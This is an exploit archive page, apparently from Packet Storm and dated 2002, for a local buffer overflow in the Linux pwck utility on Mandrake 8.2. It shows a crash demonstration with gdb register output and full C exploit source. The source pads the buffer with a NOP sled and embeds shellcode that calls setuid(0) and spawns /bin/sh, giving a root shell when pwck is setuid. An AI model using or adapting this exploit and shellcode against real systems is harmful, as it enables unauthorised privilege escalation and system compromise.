what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

pwck_exp.c

pwck_exp.c
Posted Sep 5, 2002
Authored by Tacettin Karadeniz

Pwck local linux buffer overflow exploit. Tested on Mandrake 8.2.

tags | exploit, overflow, local
systems | linux, mandrake
SHA-256 | fa3f2ddf78013d48703efa19452ce9f8e3c69395f423649d3359d47dbfe38e6c

pwck_exp.c

Change Mirror Download
pwck local buffer overflow

$man pwck
pwck verifies the integrity of the system authentication
information. All entries in the /etc/passwd and
/etc/shadow are checked to see that the entry has the
proper format and valid data in each field. The user is
prompted to delete entries that are improperly formatted
or which have other incorrectable errors. ( man pwck )


[CiLeK@karadenizeregli Taci]# /usr/sbin/pwck `perl -e '{print"A"x2391}'`
Segmentation fault (core dumped)

[CiLeK@karadenizeregli Taci]# gdb /usr/sbin/pwck core
GNU gdb 5.1.1
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `/usr/sbin/pwck
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x00414141 in ?? ()
(gdb) info reg
eax 0x1 1
ecx 0x4eff4040 1325350976
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xbfffe454 0xbfffe454
ebp 0x0 0x0
esi 0xbfffeec4 -1073746236
edi 0x804cd80 134532480
eip 0x414141 0x414141
eflags 0x10286 66182

Exploit code:

/* 4 Eylul 2002 / 11:56 :)
*
* pwck_exp.c - pwck local buffer overflow exploit
*
* pwck verifies the integrity of the system authentication
* information. All entries in the /etc/passwd and
* /etc/shadow are checked to see that the entry has the
* proper format and valid data in each field. The user is
* prompted to delete entries that are improperly formatted
* or which have other incorrectable errors. ( man pwck )
*
* By default pwck is not setuid, if +s pwck bingo # :)
*
* [cilek@karadenizeregli cilek]$ ls -la /usr/sbin/pwck
* -rwsr-sr-x 1 root root 19544 Feb 23 2002 /usr/sbin/pwck*
*
* Tested on Mandrake 8.2
*
* tacettin@olympos.org
* tacettinkaradeniz@yahoo.com
*
* KDZ.EREGLI @ 2002
*
* Not: Shellcode cesitli yazilimlardan elde edilmistir. Tamamiyle bana ait
degildir.
*/

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

char shellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_sp(void)

{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {

int bsize = 2391;


unsigned long addr;
char *buff;
int i;

if (bsize % 4 != 0) {

bsize = bsize + 4 - (bsize % 4); }

buff = (char *)malloc(bsize);
addr = get_sp();
system("clear");
fprintf(stderr, "pwck exploit..... tacettin@olympos.org\n\n");
fprintf(stderr, "Mandrake 8.2 sisteminde test edilmistir.\n", addr);
fprintf(stderr, "Buffer: %d\n", bsize);


for(i = 0; i < bsize; i++)
{
*(long *)&buff[i] = 0x90;
}
*(long *)&buff[bsize - 4] = addr;
memcpy(buff + bsize - strlen(shellcode) - 8, shellcode, strlen(shellcode));


execl("/usr/sbin/pwck", "pwck", buff, NULL);

return 0;
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close